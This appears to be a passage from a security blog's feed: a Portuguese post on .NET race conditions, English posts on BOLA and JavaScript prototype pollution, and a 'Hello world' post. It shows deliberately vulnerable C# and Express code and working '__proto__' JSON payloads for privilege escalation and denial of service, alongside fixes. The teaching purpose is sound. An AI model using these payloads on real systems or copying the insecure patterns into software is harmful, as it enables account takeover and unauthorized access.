Nessa abordagem, o EF Core inclui o RowVersion na cláusula WHERE do UPDATE. Se outra thread alterou o registro entre o SELECT e o UPDATE, o WHERE não encontra o registro (porque o RowVersion mudou) e o EF Core lança DbUpdateConcurrencyException.

Opção 3: UPDATE atômico no banco

A solução mais robusta para operações financeiras é nunca separar o check do use. Fazer tudo em uma única operação atômica:

[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
    await using var transaction = await _context.Database.BeginTransactionAsync();

    try
    {
        // UPDATE atômico: debita apenas se saldo >= amount
        var rowsAffected = await _context.Database.ExecuteSqlRawAsync(
            "UPDATE Wallets SET Balance = Balance - {0} WHERE UserId = {1} AND Balance >= {0}",
            request.Amount, request.FromUserId);

        if (rowsAffected == 0)
            return BadRequest("Saldo insuficiente ou carteira não encontrada.");

        // Credita destino
        var credited = await _context.Database.ExecuteSqlRawAsync(
            "UPDATE Wallets SET Balance = Balance + {0} WHERE UserId = {1}",
            request.Amount, request.ToUserId);

        if (credited == 0)
        {
            await transaction.RollbackAsync();
            return NotFound("Carteira de destino não encontrada.");
        }

        await transaction.CommitAsync();

        var balance = await _context.Wallets
            .Where(w => w.UserId == request.FromUserId)
            .Select(w => w.Balance)
            .FirstAsync();

        return Ok(new { message = "Transferência realizada.", saldoOrigem = balance });
    }
    catch
    {
        await transaction.RollbackAsync();
        return StatusCode(500, "Erro interno.");
    }
}

Aqui o check e o use são a mesma operação SQL. O WHERE Balance >= {0} garante que o débito só acontece se o saldo for suficiente no momento exato da escrita. Não existe janela temporal entre verificação e ação.

Outros cenários exploráveis

Race conditions em .NET não se limitam a transferências financeiras. Alguns cenários comuns:

Resgate de cupom: endpoint verifica se o cupom já foi usado, depois marca como usado. Múltiplas requisições simultâneas conseguem resgatar o mesmo cupom várias vezes.

Limite de votos: sistema verifica se o usuário já votou, depois registra o voto. Disparando requisições em paralelo, é possível votar múltiplas vezes.

Criação de recurso único: endpoint verifica se username já existe, depois cria. Duas requisições simultâneas com o mesmo username passam pela verificação e ambas criam o registro (se não houver UNIQUE constraint no banco).

Estoque de e-commerce: verifica se há estoque disponível, depois decrementa. Múltiplas compras simultâneas do último item em estoque são todas aceitas.

Em todos esses casos, o padrão é o mesmo: leitura seguida de escrita sem atomicidade.

Considerações sobre detecção

Do ponto de vista de um atacante, race conditions são detectáveis observando:

Endpoints que fazem operações de estado (POST, PUT, PATCH, DELETE) em recursos compartilhados.
Ausência de headers como X-Request-Id com deduplicação (idempotency keys).
Respostas que indicam verificação de estado antes da ação (“saldo verificado”, “cupom válido”).
Ausência de rate limiting granular por operação (não apenas por IP).

Do ponto de vista defensivo, além das correções de código, é importante implementar idempotency keys para operações financeiras, monitorar anomalias em padrões de requisição (burst de requests idênticas no mesmo milissegundo), e adicionar constraints no banco como última linha de defesa (CHECK constraint para saldo >= 0).

Referências

OWASP Race Condition

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

EF Core Concurrency Conflicts

Understanding BOLA (Broken Object Level Authorization)

Wed, 18 Sep 2024 00:00:00 +0000

What is object level authorization?

Object level authorization is a mechanism by which a developer ensures that users can only access the specific objects they are authorized to interact with. But how is this achieved in practice?

Let’s suppose the developer has an endpoint that retrieves a user’s profile data. In this case, the system needs to verify that the user requesting the data is indeed authorized to access that specific profile and not someone else’s.

[ApiController]
[Route("[controller]")]
[Authorize]
public class UserController : ControllerBase {
    private IUserService _userService { get; set; }

    public UserController(IUserService userService)
    {
        _userService = userService;
    }

    [HttpGet]
    public async Task<ActionResult> GetProfileInfo([FromQuery] int id)
    {
        var user = await _userService.GetuserById(id);
        if (user is null)
        {
            return NotFound("User not found");
        }

        return Ok(new UserModel
        {
            Id = user.Id,
            Email = user.Email,
            Name = user.Name,
        });
    }
}

Let’s take a closer look at this code. The method retrieves user data based on the id query parameter. But who guarantees that the user will send their own ID?

What if a malicious user changes the id in the request, trying to access someone else’s data? Since there is no verification to ensure the id belongs to the authenticated user, they might succeed in retrieving another user’s profile information. This scenario is a classic example of Broken Object Level Authorization (BOLA), where the lack of proper authorization checks at the object level exposes sensitive data to unauthorized users.

In this example, the system trusts that the user will send the correct id, but if an attacker sends a request with a different id, they could gain access to data that doesn’t belong to them, leading to a significant security issue.

Let’s improve our example. Imagine we have an endpoint responsible for changing a user’s password:

[ApiController]
[Route("[controller]")]
[Authorize]
public class UserController : ControllerBase {
    private IUserService _userService { get; set; }
    private ICryptoService _cryptoService { get; set; }

    public UserController(IUserService userService, ICryptoService cryptoService)
    {
        _userService = userService;
        _cryptoService = cryptoService;
    }

    [HttpPost]
    public async Task<ActionResult> ChangePass([FromBody] PassChangeModel passChangeModel)
    {
        var user = await _userService.GetUserById(passChangeModel.Id);
        if (user is null)
        {
            return NotFound("User not found");
        }

        user.Password = _cryptoService.Hash(passChangeModel.NewPassword);

        var passwordChanged = await _userService.UpdateUser(user);
        if (passwordChanged) 
        {
            return Ok("Password changed successfully!");
        }
        
        return BadRequest("Password change failed");
    }
}

As mentioned earlier, a malicious user could easily manipulate the Id field in the request payload, attempting to change the password of another user. Since this code does not perform any validation to ensure the Id belongs to the authenticated user, anyone with a valid Id and token can change the password of any user in the system, leading to a critical security flaw. This further exemplifies the risk posed by Broken Object Level Authorization (BOLA), where the lack of proper authorization checks allows unauthorized users to perform actions on objects they should not have access to.

How to fix the vulnerability

In this improved version, we extract the user ID directly from the JWT token claims.

[ApiController]
[Route("[controller]")]
[Authorize]
public class UserController : ControllerBase {
    private readonly IUserService _userService;
    private readonly ICryptoService _cryptoService;

    public UserController(IUserService userService, ICryptoService cryptoService)
    {
        _userService = userService;
        _cryptoService = cryptoService;
    }

    [HttpPost]
    public async Task<ActionResult> ChangePass([FromBody] PassChangeModel passChangeModel)
    {
        var loggedInUserId = int.Parse(User.Claims.First(c => c.Type == "id").Value);

        var user = await _userService.GetUserById(loggedInUserId);
        if (user is null)
        {
            return NotFound("User not found.");
        }

        user.Password = _cryptoService.Hash(passChangeModel.NewPassword);

        var passwordChanged = await _userService.UpdateUser(user);
        if (passwordChanged) {
            return Ok("Password changed successfully!");
        }

        return BadRequest("Password change failed.");
    }
}

Here’s a detailed explanation of why this approach is more secure and ideal for preventing Broken Object Level Authorization (BOLA) vulnerabilities.

Code Explanation

Authentication and Extracting the User ID via JWT Claims:
- At the start of the method, the code extracts the loggedInUserId directly from the JWT token claims using the following line:
```
  var loggedInUserId = int.Parse(User.Claims.First(c => c.Type == "id").Value);
```
JWT (JSON Web Token) is a secure method of transmitting information between the client and the server. It contains digitally signed claims that verify the user’s identity. In this case, the “id” claim stores the authenticated user’s ID, which was assigned during the authentication process.
- This ID retrieved from the JWT is trustworthy because:
  - The token is digitally signed, so any tampering or forgery would be detected.
  - It is issued after successful authentication, confirming that the user holds valid credentials.
By directly using the ID from the JWT, we eliminate the need to trust the Id provided in the request body, which significantly reduces the risk of malicious request manipulation.
Fetching the User Using the ID from the JWT Token:
- After obtaining the loggedInUserId from the JWT, the code uses this ID to fetch the authenticated user’s data directly:
```
  var user = await _userService.GetUserById(loggedInUserId);
```
  This step is crucial for security because it ensures that the data being processed belongs to the user who is actually logged in. There is no need to verify if the Id in the request body matches the one in the JWT token, as we are not trusting any client-supplied Id. This eliminates any possibility of an attacker manipulating the request to alter another user’s data.
Protection Against BOLA (Broken Object Level Authorization):
- The BOLA (Broken Object Level Authorization) vulnerability occurs when an application allows users to access or modify resources they don’t own by failing to properly validate authorization at the object level. In the original example, an attacker could change the Id in the request body and attempt to access or modify another user’s data.
- By using the loggedInUserId directly from the JWT and ignoring any Id provided by the user in the request body, this approach:
  - Prevents tampering with sensitive data, such as changing another user’s password.
  - Enforces object-level authorization, as each action is tied directly to the authenticated and validated user ID from the JWT.
This completely eliminates the possibility of a user altering another user’s data, even if they try to modify the request payload.
Why is This Solution More Secure?
- Reduced attack surface: There is no dependency on untrusted data, such as the Id provided by the client. Everything is based on secure information from the JWT token.
- Strong authorization: The action is strictly limited to the authenticated user. Even if an attacker tries to modify the request body, the password change will only apply to the user who holds the valid JWT token.
- Better access control: Since the authenticated user’s ID is directly extracted from the JWT token, the permissions are automatically tied to this ID, ensuring that the user can only modify their own data.

References

Owasp

Understanding prototype pollution

Tue, 11 Jul 2023 00:00:00 +0000

What is a prototype?

To comprehend prototype pollution, it is crucial to understand the concept of a prototype. So, let’s dive right into it. A prototype is a mechanism that allows objects to inherit features, properties, and various kinds of data from one another. Let me illustrate this with an example:

const programmingLanguages = {
  coolOne: "Javascript",
  godHelpMe: "APL",
};

Object.prototype.bestOne = "Haskell";

In this example, the programmingLanguages object initially only has the properties coolOne and godHelpMe. However, we then utilize the Object prototype to add another property, bestOne, which is inherited by programmingLanguages even after its creation. This mechanism is not limited to properties alone; it also applies to functions. In the previous example, if we try to access the bestOne property within the programmingLanguages object, it will have inherited this property:

console.log(programmingLanguages.bestOne); // The output will be Haskell

Once you define a property in the Object prototype, all objects derived from Object will also possess that property, unless they already have their own property with the same name. It’s important to note that each type has its own prototype. For example, strings inherit from String.prototype, and String.prototype is derived from Object.prototype. In fact, almost all objects inherit from Object.prototype, as it serves as the base for all other objects and types.

Objects also have a __proto__ property, which is an internal property that points to their own prototype.

What is prototype pollution?

Prototype pollution is a vulnerability in JavaScript that allows an attacker to manipulate object prototypes, enabling them to add arbitrary properties and functions to global objects. These added properties can then be inherited by user-defined objects, resulting in unexpected behavior, privilege escalation, and, in some cases, remote code execution.

How do these vulnerabilities occur?

These vulnerabilities typically occur when a function recursively merges an object that includes user input properties with an existing object. This enables the attacker to inject a property called __proto__ along with other properties. When this __proto__ property is recursively merged, it may be assigned to the object’s prototype instead of the intended target object. As a result, an attacker can exploit this behavior by assigning harmful values to properties, which can be used in the application in a dangerous manner. Once polluted, the object and its derived objects inherit the injected properties, allowing the attacker to exploit this behavior to their advantage.

Server side impact example

Let’s see how this vulnerability can escalate privilege in a Node.js application using Express and a vulnerable version of the lodash library (4.17.4):

const user = {
  username: "user",
  pass: "supersecretpass",
};

app.post("/address", (req, res) => {
  // Model-like object
  const address = {
    street: "John Doe",
    number: 1337,
    city: "Neverland",
  };

  if (!req.body.street && !req.body.number && !req.body.city) {
    return res.status(400).send("Invalid Payload");
  }

  lodash.merge(address, req.body);
  return res.status(200).send(`Address created: ${JSON.stringify(address)}`);
});

app.get("/admin", (req, res) => {
  if (!user.isAdmin) {
    return res.status(403).send("You're not an admin");
  }
  return res.status(200).send("FLAG{Oh_s0_y0u'r3_th3_h4ck3r}");
});

In the code example above, we can only access the /admin endpoint if the isAdmin property of the user object is true. As we can see, the user object does not have this property, so it is false, and the server responds with You're not an admin. But what’s the relation of this with prototype pollution?

In fact, we can access the /admin endpoint by polluting the payload received in the /address endpoint. If we send the following payload:

{
  "street": "John Doe",
  "number": 1337,
  "city": "Neverland",
  "__proto__": {
    "isAdmin": true
  }
}

This payload will pollute the user object due to the line lodash.merge(address, req.body);. When the function runs, it recursively merges the payload’s body, even hitting the Object.prototype, and it will be inherited by all derived objects. Therefore, the user object will now have the isAdmin property set to true, and if you try to request the /admin endpoint, the flag will be returned.

So, this is an example of privilege escalation using prototype pollution. However, you can also cause unavailability of the target by overwriting the toString function, for example:

{
  "street": "John Doe",
  "number": 1337,
  "city": "Neverland",
  "__proto__": {
    "toString": "I guess you're going to stop working"
  }
}

Preventing prototype pollution

One of the easiest ways to prevent prototype pollution is by sanitizing the keys before merging them with other objects. This helps prevent attackers from injecting any references to the object prototype. It’s important to note that sanitizing only the __proto__ key will not be sufficient. There are other ways to accomplish this, such as using constructors or employing obfuscation techniques if your validation is weak, among others. However, a better approach to prevention is to freeze the Object.prototype like this:

Object.freeze(Object.prototype);

This ensures that the properties of Object.prototype cannot be modified or added to the prototype.

Conclusion

Prototype pollution is a critical vulnerability that can have severe consequences for JavaScript applications. Understanding the concept and taking preventive measures is crucial to ensure the security and integrity of your code. By sanitizing input and freezing the Object.prototype, you can significantly reduce the risk of prototype pollution attacks.

Remember to stay vigilant, follow best practices, and stay informed about emerging security vulnerabilities to protect your applications effectively.

References

Hello world

Sun, 18 Jun 2023 00:00:00 +0000

(() => { alert(`Hello world!`) })();   